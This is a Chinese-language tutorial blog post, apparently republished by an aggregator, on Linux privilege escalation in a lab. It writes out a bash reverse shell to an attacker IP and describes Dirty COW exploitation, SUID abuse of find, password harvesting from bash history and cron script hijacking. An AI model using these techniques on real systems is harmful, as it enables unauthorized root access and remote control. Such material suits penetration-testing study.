提权学习之旅——Linux操作系统提权
首發(fā)于先知社區(qū)
https://xz.aliyun.com/t/8139
前言:
上次學習了Windows操作系統(tǒng)的提權(quán)以及相關(guān)工具的利用,這次就來學習一下Linux操作系統(tǒng)的提權(quán)
Linux提權(quán)基礎(chǔ)
0x00:Linux提權(quán)方法
大致歸納總結(jié)如下:
不過最核心也是最常見的提取方法還是內(nèi)核提權(quán),其他大多與程序員的配置有關(guān),出現(xiàn)的幾率不是很高。
0x01:Linux提權(quán)基礎(chǔ)知識
uname -a 查看內(nèi)核版本 id 顯示用戶的ID,以及所屬群組的ID pwd 顯示當前路徑 dpkg -l rpm -qa 查看已經(jīng)安裝的程序 cat /etc/issue cat /etc/*-release 查看發(fā)行版密碼權(quán)限
大部分Linux系統(tǒng)的密碼都和/etc/passwd和/etc/shadow這兩個配置文件有關(guān),passwd里面儲存的是用戶,shadow里面存儲的是密碼的hash值。出于安全考慮passwd是全用戶可讀,root可寫的,而shadow是僅root可讀寫的。
/etc/passwd
passwd由冒號分割,第一列是用戶名,第二列是密碼,x代表密碼hash被放在shadow里面.
/etc/shadow
shadow里面的就是密碼的hash,但只有root權(quán)限才可以查看。
密碼復用
另外需要注意的是很多管理員會重復使用密碼,所以有可能數(shù)據(jù)庫或者web后臺的密碼就是root密碼。
提權(quán)常見的流程
0x02:Linux反彈shell
Linux一般拿到shell,權(quán)限基本都很低,而且在菜刀或其他工具中執(zhí)行命令沒有交互過程(在菜刀等工具中,只是輸入返回內(nèi)容,如在菜刀中執(zhí)行ssh等命令就不可行),所以需要通過反彈shell擁有一個交互式的shell。
準備環(huán)境
ubuntu + apache kail 192.168.186.134 ubuntu 192.168.186.152上傳進去一個php一句話木馬,菜刀連接
查看當前權(quán)限
下面就使用反彈shell的方法獲取到交互式shell
第一種方法:
利用最經(jīng)典也是最常用的方法進行反彈shell,另外反彈shell時設(shè)置的端口最好是常用端口,不常用的端口可能會被防火墻給攔截掉。
先進行本地進行監(jiān)聽: nc -lvp 53 然后在拿到shell的機器上執(zhí)行: bash -i >& /dev/tcp/192.168.186.134/53 0>&1但是執(zhí)行失敗了,沒有權(quán)限
第二種方法:
利用python腳本進行反彈shell,要將腳本上傳到服務(wù)器上就要找一個低權(quán)限用戶可以上傳且可以執(zhí)行的目錄,一般在tmp或者/var/tmp中就有這樣的權(quán)限
pyshell
反彈成功,這樣就形成了一個交互式的shell,方便下一步的進行
如果在使用python文件沒有權(quán)限時,使用如下命令即可,因為該文件是當前用戶上傳進去的,擁有修改的權(quán)限。
chmod 777 back.py0x03:臟牛提權(quán)
Dirty COW,CVE-2016-5195,攻擊者可利用該漏洞本地以低權(quán)限提升到root權(quán)限。Dirty COW 是一個特權(quán)升級漏洞,可以在每個Linux發(fā)行版中找到。這個漏洞的特別之處在于,防病毒和安全軟件無法檢測,一旦被利用,根本無從知曉。
漏洞在全版本Linux系統(tǒng)(Linux kernel >= 2.6.22)均可以實現(xiàn)提權(quán) 如果內(nèi)核版本低于列表里的版本,表示還存在臟牛漏洞 Centos7 /RHEL7 3.10.0-327.36.3.el7 Cetnos6/RHEL6 2.6.32-642.6.2.el6 Ubuntu 16.10 4.8.0-26.28 Ubuntu 16.04 4.4.0-45.66 Ubuntu 14.04 3.13.0-100.147 Debian 8 3.16.36-1+deb8u2 Debian 7 3.2.82-1exp地址
在反彈shell成功的基礎(chǔ)上繼續(xù)來做
先來看一下操作系統(tǒng)的版本,低于列表里的版本即存在臟牛漏洞
uname -r通過/etc/passwd了解到超級管理員是root
查看下當前用戶的id
下載exp文件
可以看exp中的說明來執(zhí)行命令
先通過gcc來編譯dirty.c文件
編譯好的dirty文件,替換root用戶
成功替換掉了原來的root用戶,提權(quán)成功。
臟牛提權(quán)除下這個exp,還有其他的,例如:CVE-2016-5195,具體就不在演示了,按照說明即可,注意文件名不對,自己改下就好。
Linux提權(quán)實戰(zhàn)
0x00:Linux分析工具
Linux-exploit-suggester
Linux權(quán)限提升審核工具,是基于操作系統(tǒng)的內(nèi)核版本號。程序會執(zhí)行“uname -r”命令來獲取Linux操作系統(tǒng)發(fā)行版本,之后返回一個包含了適用exploits的提示列表。
Linux-exploit-suggester
./linux-exploit-suggester.sh執(zhí)行命令即可
這樣就將存在的漏洞呈現(xiàn)了出來,利用exp提權(quán)即可,非常方便.
Searchsploit
Searchsploit通過本地的exploit-db, 查找軟件漏洞信息
使用方法:
searchsploit
如需查看CentOS 7 內(nèi)核版本為3.10的內(nèi)核漏洞
知道該內(nèi)核版本下存在哪些漏洞即可進行提權(quán)操作
0x02:SUID提權(quán)
什么是SUID
在Linux中,存在suid、guid、sticky,SUID(設(shè)置用戶ID)是賦予文件的一種權(quán)限,它會出現(xiàn)在文件擁有者權(quán)限的執(zhí)行位上,具有這種權(quán)限的文件會在其執(zhí)行時,使調(diào)用者暫時獲得該文件擁有者的權(quán)限。
如果想要為文件附上這樣的權(quán)限命令:
chmod u+s chmod 4755(有s標志位便是擁有SUID權(quán)限)
具體的話大致理解就是通過擁有SUID權(quán)限二進制文件或程序可以執(zhí)行命令等,從而進行root提權(quán)操作
查找符合條件的文件
上面的所有二進制文件都可以在root權(quán)限下運行,因為屬主是root,且權(quán)限中含有s
下面就以find命令來實踐一下,首先要給find設(shè)當SUID權(quán)限
chmod u+s /usr/bin/find
如果Find命令也是以Suid權(quán)限運行的話,則將通過find執(zhí)行的所有命令都會以root權(quán)限執(zhí)行。
當前用戶為
隨便找一個文件主要是為了執(zhí)行后面的命令
提權(quán)成功,接下來以root用戶的身份反彈shell
如果出現(xiàn)如下錯誤,關(guān)閉兩邊的防火墻即可
反彈shell成功,當然還有其他命令可以進行提權(quán),前提是要有SUID權(quán)限,這里就不再舉例了。
0x03:歷史記錄提權(quán)
通過查看歷史記錄,查看是否有有用的信息,有的管理員為了方便登陸mysql或其他軟件時,不經(jīng)意間加上參數(shù)-p,從而將密碼暴露出來或者一些.sh腳本連接mysql、vpn等,查看對應(yīng)的配置文件即可拿到賬號密碼
cat ~/.bash_history 保存了當前用戶使用過的歷史命令
如果拿到數(shù)據(jù)庫的賬號密碼,有可能就是root密碼
0x04:計劃任務(wù)提權(quán)
系統(tǒng)內(nèi)可能會有一些定時執(zhí)行的任務(wù),一般這些任務(wù)由crontab來管理,具有所屬用戶的權(quán)限。非root權(quán)限的用戶是不可以列出root用戶的計劃任務(wù)的。但是/etc/內(nèi)系統(tǒng)的計劃任務(wù)可以被列出
ls -l /etc/cron*
默認這些程序是以root權(quán)限執(zhí)行,如果有任意用戶可寫的腳本,我們就可以修改腳本等回連rootshell了。
0x05:配置錯誤引發(fā)提權(quán)
手動找如果對Linux系統(tǒng)不熟悉的話基本是找不到的,所以可以利用工具去查找
unix-privesc-check:http://pentestmonkey.net/tools/audit/unix-privesc-check
linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py
檢查了非常多的配置問題,而且還列出了所有的可寫文件,如果找到有配置問題的便可以進行提權(quán)操作。
總結(jié)
經(jīng)過這次學習,簡單的算是對Linux提權(quán)有了一定的了解,但還有很多姿勢需要去學習,還是需要不斷去積累。
參考博客
https://www.cnblogs.com/BOHB-yunying/articles/11517748.html
https://www.cnblogs.com/hookjoy/p/6612595.html
總結(jié)
以上是生活随笔為你收集整理的提权学习之旅——Linux操作系统提权的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 提权学习之旅——利用Metasploit
- 下一篇: 第四届“强网杯”全国网络安全挑战赛_部分